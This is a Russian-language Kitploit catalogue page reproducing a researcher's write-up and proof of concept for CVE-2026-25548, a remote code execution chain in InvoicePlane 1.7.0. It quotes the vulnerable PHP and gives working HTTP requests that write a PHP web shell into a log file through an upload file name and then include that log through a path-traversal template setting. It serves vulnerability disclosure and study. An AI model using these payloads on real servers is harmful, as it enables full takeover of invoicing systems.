Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-25548 — # CVE-2026-25548 — Подробный технический разбор и PoC Подробный технический разбор и proof-of-concept для CVE-2026-25548 — критической RCE-уязвимости в InvoicePlane 1.7.0 через LFI и отравление логов, включая цепочку атаки, PoC-запросы и анализ воздействия. | Kitploit
Инструменты/GitHubGitHub/lagathos/cve-2026-25548
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHublagathos/cve-2026-25548

CVE-2026-25548

# CVE-2026-25548 — Подробный технический разбор и PoC Подробный технический разбор и proof-of-concept для CVE-2026-25548 — критической RCE-уязвимости в InvoicePlane 1.7.0 через LFI и отравление логов, включая цепочку атаки, PoC-запросы и анализ воздействия.

Репозиторий
196 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-25548 — Удалённое выполнение кода в InvoicePlane 1.7.0

Уязвимость: Удалённое выполнение кода через локальное включение файлов (LFI) + отравление журналов (Log Poisoning)

Продукт: InvoicePlane

Затронутая версия: 1.7.0 (и, вероятно, более ранние версии)

Критичность: Критическая

Оценка CVSS 3.1: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

CWE: CWE-98, CWE-117, CWE-94

Обнаружил: Leonidas Agathos

Дата отчёта: 2026-01-31


Содержание

  • Описание
  • Детали уязвимости
    • 1. Локальное включение файлов (LFI)
    • 2. Отравление журналов через имя загружаемого файла
  • Цепочка атаки
  • Доказательство концепции
    • Шаг 1 — Отравление журналов
    • Шаг 2 — Настройка LFI
    • Шаг 3 — Запуск RCE
    • Шаг 4 — Обратная оболочка
  • Воздействие
  • Затронутые компоненты
  • Хронология

Описание

Критическая цепочка уязвимостей в InvoicePlane 1.7.0 позволяет аутентифицированному администратору добиться удалённого выполнения кода (RCE) на сервере. Атака объединяет две слабости:

  1. Локальное включение файлов (LFI) — Настройка публичного шаблона счёта принимает произвольные пути к файлам без какой-либо проверки, что позволяет включать файлы за пределами предполагаемого каталога шаблонов.
  2. Отравление журналов — Имена загружаемых файлов, содержащие символы обхода каталога, записываются дословно в .php-файлы журналов CodeIgniter, что позволяет внедрять произвольный PHP-код.

При объединении этих уязвимостей злоумышленник с правами администратора может полностью скомпрометировать сервер от имени пользователя веб-сервера. Финальный запуск RCE не требует аутентификации (публичный URL счёта).


Детали уязвимости

1. Локальное включение файлов (LFI)

АтрибутЗначение
Файлapplication/modules/guest/controllers/View.php
Строки85, 191
Параметрpublic_invoice_template (настройка базы данных)
CWECWE-98: Некорректный контроль имени файла для оператора Include/Require

Уязвимый код (View.php:85):

$this->load->view('invoice_templates/public/' .
    get_setting('public_invoice_template') . '.php', $data);

Уязвимый код (View.php:191):

$this->load->view('quote_templates/public/' .
    get_setting('public_quote_template') . '.php', $data);

Настройки public_invoice_template и public_quote_template извлекаются из базы данных и напрямую подставляются в путь к файлу, передаваемый в load->view() CodeIgniter (который разрешается в PHP-функцию include()). Отсутствует какая-либо проверка на:

  • Предотвращение последовательностей обхода каталога (../)
  • Белый список допустимых имён шаблонов
  • Подтверждение существования файла в ожидаемом каталоге шаблонов

Администратор может установить это значение на любой путь в файловой системе, ограниченный только автоматически добавляемым расширением .php.


2. Отравление журналов через имя загружаемого файла

АтрибутЗначение
Файлapplication/modules/upload/controllers/Upload.php
Строки178–184
ПараметрИмя загружаемого файла (данные HTTP multipart-формы)
CWECWE-117: Некорректная нейтрализация вывода для журналов

Уязвимый код (Upload.php:178-184):

private function sanitize_file_name(string $filename): string
{
    if (str_contains($filename, '..')
        || str_contains($filename, '/')
        || str_contains($filename, '\\')
        || str_contains($filename, "\0")) {
        log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
        return '';
    }
    // ...
}

Когда имя файла вызывает срабатывание проверки обхода каталога, сырое, неочищенное имя файла записывается непосредственно в файл журнала. Файлы журналов CodeIgniter:

  • Используют расширение .php: application/logs/log-ГГГГ-ММ-ДД.php
  • Начинаются с <?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>
  • Поэтому являются валидными PHP-файлами, которые выполняются при включении

Злоумышленник, встраивающий <?php system($_GET[1]); ?> в имя файла, приводит к записи этой полезной нагрузки в журнал и её последующему выполнению через LFI.


Цепочка атаки

[Аутентифицированный пользователь]  →  Загрузка вредоносного имени файла  →  PHP внедрён в файл журнала
[Администратор]                    →  Установка настройки шаблона          →  LFI указывает на файл журнала
[Любой пользователь]               →  Посещение публичного URL счёта       →  RCE
ШагТребование
Отравление журналовАутентифицированный пользователь с доступом к загрузке
Настройка LFIУчётная запись администратора
Запуск RCEБез аутентификации (публичный URL счёта)

Доказательство концепции

Шаг 1 — Отравление журналов

Отправьте запрос на загрузку файла с PHP-веб-шеллом, встроенным в имя файла. Проверка обхода каталога сработает и запишет сырое имя файла (включая PHP-полезную нагрузку) в файл журнала.

Запрос (через Burp Suite):

POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="_ip_csrf"

<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg

test
------Boundary--

Сервер отклоняет загрузку (upload_error_invalid_extension), но запись в журнале уже создана:

Результат в application/logs/log-2026-01-31.php:

ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg

Перейдите в раздел Вложения счёта и нажмите Добавить файлы, чтобы получить доступ к конечной точке загрузки.

Шаг 1a — Точка входа загрузки вложений счёта

Шаг 1b — Внедрение PHP-полезной нагрузки через вредоносное имя файла

Шаг 1c — Файл журнала с внедрённой PHP-полезной нагрузкой


Шаг 2 — Настройка LFI

Будучи администратором, установите настройку public_invoice_template так, чтобы она указывала на сегодняшний файл журнала, используя полезную нагрузку обхода пути. Загрузчик представлений CodeIgniter автоматически добавляет .php.

Запрос (через Burp Suite):

POST /index.php/settings HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="settings[public_invoice_template]"

../../../logs/log-2026-01-31
------Boundary--

Путь обхода разрешается из application/views/invoice_templates/public/ вверх до application/logs/, после чего включается файл log-2026-01-31.php.

Скачать инструмент